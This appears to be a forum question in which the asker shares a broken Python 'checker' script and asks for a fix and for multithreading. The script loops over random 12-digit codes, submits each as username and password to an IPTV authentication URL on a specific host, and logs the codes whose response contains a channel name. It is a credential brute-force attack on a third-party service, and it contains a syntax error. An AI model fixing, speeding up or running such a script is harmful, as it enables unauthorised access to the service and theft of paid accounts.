title: How to find keyword using link in Python?
body: <p>i'm not good at python . I have trouble by make a checker . I want to find a keyword but have error . Can anyone help me ?</p>
  <p>edit : can anyone help me to add multithreading in this script ?</p>
  <pre><code>import random, string, requests
  f=open(&quot;Valid Code.txt&quot;, &quot;w&quot;, encoding='utf-8')
   
  while True:
      code = ('').join(random.choices(string.digits, k=12))
      r = requests.get(f&quot;http://itv.ilovetv.tw:9888/auth_box.jsp?uid={code}&amp;pass={code}&amp;mac=a877a9525da0a413&quot;)
      word = 'NHK総合'
      if r.find.word
          print(f&quot;HITS -&gt; {code}&quot;)
          f.write(f&quot;/{code}\n&quot;)
      else:
          print(f&quot;ERROR -&gt; {code}&quot;)
  </code></pre>